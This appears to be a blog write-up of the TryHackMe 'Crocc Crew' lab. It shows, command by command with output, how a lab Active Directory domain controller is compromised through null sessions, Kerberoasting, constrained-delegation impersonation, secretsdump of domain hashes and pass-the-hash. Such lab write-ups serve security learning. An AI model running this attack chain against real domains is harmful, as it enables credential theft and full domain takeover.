Post

TryHackMe: Crocc Crew

TryHackMe: Crocc Crew

This box is rated insane difficulty on THM and has a general theme of hacking an already compromised Domain Controller to discover the trail left behind by the Crocc Crew APT group.

It involves us grabbing a null session over RDP to gather low-level user credentials on the domain. We can use those to Kerberoast a password reset account, whose hash is easy crackable. That account has Constrained Delegation privileges, allowing us to impersonate the Administrator to grab a TGT and dump all domain hashes.

Crocc Crew has created a backdoor on a Cooctus Corp Domain Controller. We’re calling in the experts to find the real back door!

Host Scanning

As always, I begin with an Nmap scan against the target IP to find all running service on the host; Repeating the same for UDP returns the typical AD ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$ sudo nmap -sCV 10.67.131.168 -oN fullscan-tcp

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-25 01:58 -0400
Nmap scan report for 10.67.131.168
Host is up (0.045s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-25 05:58:17Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: COOCTUS.CORP, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: COOCTUS.CORP, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-04-25T05:59:00+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: COOCTUS
|   NetBIOS_Domain_Name: COOCTUS
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: COOCTUS.CORP
|   DNS_Computer_Name: DC.COOCTUS.CORP
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-25T05:58:20+00:00
| ssl-cert: Subject: commonName=DC.COOCTUS.CORP
| Not valid before: 2026-04-24T05:50:46
|_Not valid after:  2026-10-24T05:50:46
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-25T05:58:24
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.51 seconds

Looks like a Windows machine with Active Directory components installed on it, more specifically a Domain Controller. Default scripts reveal the Fully Qualified Domain Name of DC.COOCTUS.CORP which I add to my /etc/hosts file. Since there is a web server up and running, I fire up Ffuf to search for subdirectories and Vhosts in the background.

Service Enumeration

Using Netexec to test for Guest/Null authentication over SMB both fail.

1
2
3
$ nxc smb dc.cooctus.corp -u '' -p '' --shares

$ nxc smb dc.cooctus.corp -u 'Guest' -p '' --shares

No Guest Authentication

RPC is not configured for null logons and LDAP doesn’t allow anonymous binds, really only leaving us with the web server to grab initial domain creds.

1
2
3
$ rpcclient dc.cooctus.corp -U ''

$ netexec ldap dc.cooctus.corp -u '' -p '' --query "(objectClass=*)" ""

Checking out the landing page on port 80 reveals a defaced website showing that they have been hacked by the Crocc Crew. Near the page’s footer, we are given a list of aliases belonging to that group, which I create a wordlist out of in case any artefacts left behind match these names.

Web Rabbit Holes

Looking at robots.txt gives us a few interesting endpoints.

1
2
3
4
5
6
$ curl http://dc.cooctus.corp/robots.txt 
User-Agent: *
Disallow:
/robots.txt
/db-config.bak
/backdoor.php

The db.config.bak file holds a pair of database credentials for a user named C00ctusAdm1n, however they don’t work for any user to authenticate to the domain.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ curl http://dc.cooctus.corp/db-config.bak
<?php

$servername = "db.cooctus.corp";
$username = "C00ctusAdm1n";
$password = "B4dt0th3b0n3";

// Create connection $conn = new mysqli($servername, $username, $password);

// Check connection if ($conn->connect_error) {
die ("Connection Failed: " .$conn->connect_error);
}

echo "Connected Successfully";

?>

The backdoor.php page prompts us with an interactive console that doesn’t seem to take in any commands.

Taking a peek at the source code shows a script in the HTML that describes a function named “what”.

1
2
3
4
5
6
7
8
9
10
<script>
$('body').terminal({
    hello: function(what) {
        this.echo('Hello, ' + what +
                  '. Wellcome to this terminal.');
    }
}, {
    greetings: 'CroccCrew >:)'
});
</script>

A bit of messing around with it shows that we can use the hello command along with a parameter, resulting in a line that greets us by name of the argument.

Since it reflected our user-supplied input, I tried testing for command injection but nothing really came of it. It seemed like everything we’ve found so far were rabbit holes and no credentials worked to authenticate, which got me thinking how we could login without being a user.

Exploitation

Null Sessions

A bit of research reveals that we can actually grab a null session over RPC. This command differs from my earlier attempt as it explicitly states that we have no username and password, while only using -U '' will fail once we enter the password as it’s technically incorrect.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ rpcclient -U''%'' 10.67.131.168
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumprivs
found 35 privileges

SeCreateTokenPrivilege          0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)
SeLockMemoryPrivilege           0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)
SeMachineAccountPrivilege               0:6 (0x0:0x6)
SeTcbPrivilege          0:7 (0x0:0x7)
SeSecurityPrivilege             0:8 (0x0:0x8)
SeTakeOwnershipPrivilege                0:9 (0x0:0x9)
SeLoadDriverPrivilege           0:10 (0x0:0xa)
SeSystemProfilePrivilege                0:11 (0x0:0xb)
SeSystemtimePrivilege           0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)
SeCreatePagefilePrivilege               0:15 (0x0:0xf)
SeCreatePermanentPrivilege              0:16 (0x0:0x10)
SeBackupPrivilege               0:17 (0x0:0x11)
SeRestorePrivilege              0:18 (0x0:0x12)
SeShutdownPrivilege             0:19 (0x0:0x13)
SeDebugPrivilege                0:20 (0x0:0x14)
SeAuditPrivilege                0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)
SeChangeNotifyPrivilege                 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege               0:24 (0x0:0x18)
SeUndockPrivilege               0:25 (0x0:0x19)
SeSyncAgentPrivilege            0:26 (0x0:0x1a)
SeEnableDelegationPrivilege             0:27 (0x0:0x1b)
SeManageVolumePrivilege                 0:28 (0x0:0x1c)
SeImpersonatePrivilege          0:29 (0x0:0x1d)
SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)
SeRelabelPrivilege              0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)
SeTimeZonePrivilege             0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)

We can do the same for other services, eventually finding Visitor credentials on a digital sticky note over RDP.

1
$ rdesktop -f -u '' 10.67.131.168

Mapping AD with BloodHound

These do not work to grab an RDP session since they aren’t apart of the Remote Desktop Users group, but we can authenticate to the domain now. I immediately spin up BloodHound while using BloodHound-Python to collect the domain data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ bloodhound-python -c all -d cooctus.corp -u 'visitor' -p '[REDACTED]' -ns 10.67.131.168
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: cooctus.corp
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.cooctus.corp
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to GC LDAP server: dc.cooctus.corp
INFO: Connecting to LDAP server: dc.cooctus.corp
INFO: Found 23 users
INFO: Found 63 groups
INFO: Found 2 gpos
INFO: Found 13 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.COOCTUS.CORP
INFO: Done in 00M 10S

Letting those JSON files ingest for a bit, I take a look at SMB shares and enumerate users via Netexec. We only have read permissions to the Home share, letting us grab the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ nxc smb dc.cooctus.corp -u 'visitor' -p '[REDACTED]' --shares                          
SMB         10.67.131.168   445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:COOCTUS.CORP) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.67.131.168   445    DC               [+] COOCTUS.CORP\visitor:GuestLogin! 
SMB         10.67.131.168   445    DC               [*] Enumerated shares
SMB         10.67.131.168   445    DC               Share           Permissions     Remark
SMB         10.67.131.168   445    DC               -----           -----------     ------
SMB         10.67.131.168   445    DC               ADMIN$                          Remote Admin
SMB         10.67.131.168   445    DC               C$                              Default share
SMB         10.67.131.168   445    DC               Home            READ            
SMB         10.67.131.168   445    DC               IPC$            READ            Remote IPC
SMB         10.67.131.168   445    DC               NETLOGON        READ            Logon server share 
SMB         10.67.131.168   445    DC               SYSVOL          READ            Logon server share

------------------------------------------------------------------------------------------------------

$ smbclient //dc.cooctus.corp/Home -U 'visitor'
Password for [WORKGROUP\visitor]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Jun  8 15:42:53 2021
  ..                                  D        0  Tue Jun  8 15:42:53 2021
  user.txt                            A       17  Mon Jun  7 23:14:25 2021

                15587583 blocks of size 4096. 11426363 blocks available
smb: \> get user.txt
getting file \user.txt of size 17 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> quit

As for the users, we find quite a few people registered on the domain.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ nxc smb dc.cooctus.corp -u 'visitor' -p '[REDACTED]' --users > UsersOut.txt
SMB         10.67.131.168   445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:COOCTUS.CORP) (signing:True) (SMBv1:None) (Null Auth:True)                                                                                                                                       
SMB         10.67.131.168   445    DC               [+] COOCTUS.CORP\visitor:GuestLogin! 
SMB         10.67.131.168   445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-                               
SMB         10.67.131.168   445    DC               Administrator                 2021-06-08 22:00:25 5       Built-in account for administering the computer/domain                                                                                                                                                
SMB         10.67.131.168   445    DC               Guest                         <never>             0       Built-in account for guest access to the computer/domain                                                                                                                                              
SMB         10.67.131.168   445    DC               krbtgt                        2021-06-08 00:35:08 0       Key Distribution Center Service Account 
SMB         10.67.131.168   445    DC               Visitor                       2021-06-08 22:00:31 0        
SMB         10.67.131.168   445    DC               mark                          <never>             0        
SMB         10.67.131.168   445    DC               Jeff                          2021-06-08 05:41:35 0        
SMB         10.67.131.168   445    DC               Spooks                        2021-06-08 05:41:48 0        
SMB         10.67.131.168   445    DC               Steve                         2021-06-08 03:13:25 0        
SMB         10.67.131.168   445    DC               Howard                        2021-06-08 03:13:44 0        
SMB         10.67.131.168   445    DC               admCroccCrew                  2021-06-08 04:42:27 0        
SMB         10.67.131.168   445    DC               Fawaz                         2021-06-08 22:00:10 0        
SMB         10.67.131.168   445    DC               karen                         2021-06-08 05:17:27 0        
SMB         10.67.131.168   445    DC               cryillic                      2021-06-08 05:17:41 0        
SMB         10.67.131.168   445    DC               yumeko                        2021-06-08 05:18:02 0        
SMB         10.67.131.168   445    DC               pars                          2021-06-08 05:18:21 0        
SMB         10.67.131.168   445    DC               kevin                         2021-06-08 05:18:35 0        
SMB         10.67.131.168   445    DC               jon                           2021-06-08 05:19:12 0        
SMB         10.67.131.168   445    DC               Varg                          2021-06-08 05:19:30 0        
SMB         10.67.131.168   445    DC               evan                          2021-06-08 05:20:19 0        
SMB         10.67.131.168   445    DC               Ben                           2021-06-08 05:20:36 0        
SMB         10.67.131.168   445    DC               David                         2021-06-08 05:20:50 0        
SMB         10.67.131.168   445    DC               password-reset                2021-06-08 22:00:39 0        
SMB         10.67.131.168   445    DC               [*] Enumerated 22 local users: COOCTUS

I capture that output to a file and strip everything else to create a username wordlist for the domain. We can see the presence of an account named admCroccCrew, which is most certainly a user left over from the previous hackers, or could serve as their backdoor into the domain.

1
2
3
4
5
6
7
8
9
10
11
12
$ cat UsersOut.txt | awk '{print $5}' > validusers.txt

$ tail validusers.txt
yumeko
pars
kevin
jon
Varg
evan
Ben
David
password-reset

Privilege Escalation

Kerberoasting

Out of curiosity, I check which accounts have an SPN which reveals that we can Kerberoast the password-reset account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ impacket-GetUserSPNs cooctus.corp/visitor:'[REDACTED]' -dc-ip 10.67.131.168                           
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName  Name            MemberOf  PasswordLastSet             LastLogon                   Delegation  
--------------------  --------------  --------  --------------------------  --------------------------  -----------
HTTP/dc.cooctus.corp  password-reset            2021-06-08 18:00:39.356663  2021-06-08 17:46:23.369540  constrained

-------------------------------------------------------------------------------------------------------------------

$ nxc ldap dc.cooctus.corp -u 'visitor' -p '[REDACTED]' --kerberoasting kerbout.txt
LDAP        10.67.131.168   389    DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:COOCTUS.CORP) (signing:None) (channel binding:No TLS cert)                                                                                                                                           
LDAP        10.67.131.168   389    DC               [+] COOCTUS.CORP\visitor:GuestLogin! 
LDAP        10.67.131.168   389    DC               [*] Skipping disabled account: krbtgt
LDAP        10.67.131.168   389    DC               [*] Total of records returned 1
LDAP        10.67.131.168   389    DC               [*] sAMAccountName: password-reset, memberOf: [], pwdLastSet: 2021-06-08 18:00:39.356663, lastLogon: 2021-06-08 17:46:23.369540
LDAP        10.67.131.168   389    DC               $krb5tgs$23$*password-reset$COOCTUS.CORP$COOCTUS.CORP\password-reset*$a0158b2a3158ef938dc0cf60c1b43373$b1fd20d5ccfc46debb5df3714e4[...]

Sending that krb5tgs over to Hashcat or JohnTheRipper rewards us with the plaintext version almost instantly.

Seeing what permissions this account has shows that we struck a goldmine. This obviously serves as the domain’s password reset account, meaning we have the ForceChangePassword permission over almost all domain users, however this account is also trusted for Constrained Delegation.

Constrained Delegation

If you’re unfamiliar with this attack vector - Constrained delegation in Active Directory lets a specific account or service impersonate users - but only to a defined set of services (via Kerberos). If an attacker compromises an account configured for constrained delegation, they can use Kerberos (via S4U2Self/S4U2Proxy) to request service tickets as a high-privilege user like Administrator, effectively impersonating them to those services.

If those services include something powerful (like LDAP on a domain controller), the attacker can act as Administrator and modify the domain, leading to full takeover. Using Impacket’s findDelegation.py script to reveal where we have delegation rights to gives us a few SPNs.

1
2
3
4
5
6
7
8
9
10
11
$ impacket-findDelegation cooctus.corp/password-reset:'[REDACTED]' -dc-ip 10.67.131.168
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

AccountName     AccountType  DelegationType                      DelegationRightsTo                   SPN Exists 
--------------  -----------  ----------------------------------  -----------------------------------  ----------
DC$             Computer     Unconstrained                       N/A                                  Yes        
password-reset  Person       Constrained w/ Protocol Transition  oakley/DC.COOCTUS.CORP/COOCTUS.CORP  No         
password-reset  Person       Constrained w/ Protocol Transition  oakley/DC.COOCTUS.CORP               No         
password-reset  Person       Constrained w/ Protocol Transition  oakley/DC                            No         
password-reset  Person       Constrained w/ Protocol Transition  oakley/DC.COOCTUS.CORP/COOCTUS       No         
password-reset  Person       Constrained w/ Protocol Transition  oakley/DC/COOCTUS                    No

Now we can use Impacket’s getST.py script to impersonate the Administrator using that SPN and grab a TGT. We’ll also need to export it to the KRB5CCNAME variable for use in the next step, as Kerberos likes it that way.

1
2
3
4
5
6
7
8
9
10
11
$ impacket-getST -spn 'oakley/DC.COOCTUS.CORP' -impersonate 'administrator' cooctus.corp/password-reset:'resetpassword' -dc-ip 10.67.131.168
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@oakley_DC.COOCTUS.CORP@COOCTUS.CORP.ccache
                                                                                                                                                          
$ export KRB5CCNAME=administrator@oakley_DC.COOCTUS.CORP@COOCTUS.CORP.ccache 

Finally, we can utilize this Administrator TGT to dump all domain hashes via Impacket’s secretsdump.py script.

1
$ impacket-secretsdump -k -no-pass DC.COOCTUS.CORP

We’re granted the Administrator’s NTLM which can be used in a Pass-The-Hash over SMB or another service to get a shell on the domain with full privileges.

1
$ impacket-smbexec -hashes ':[REDACTED]' COOCTUS.CORP/administrator@DC.COOCTUS.CORP

Grabbing the root flag under C:\Perflogs\Admin as well as the other flags under C:\Shares\Home will complete this box. It seems like we may have skipped a few steps with the delegation abuse, but I’ll take any shortcut to Domain Admin.

Overall, this box’s difficulty lays in the amount of rabbit holes, rather than overly complicated AD abuse. I hope this was helpful to anyone following along or stuck and happy hacking!

This post is licensed under CC BY 4.0 by the author.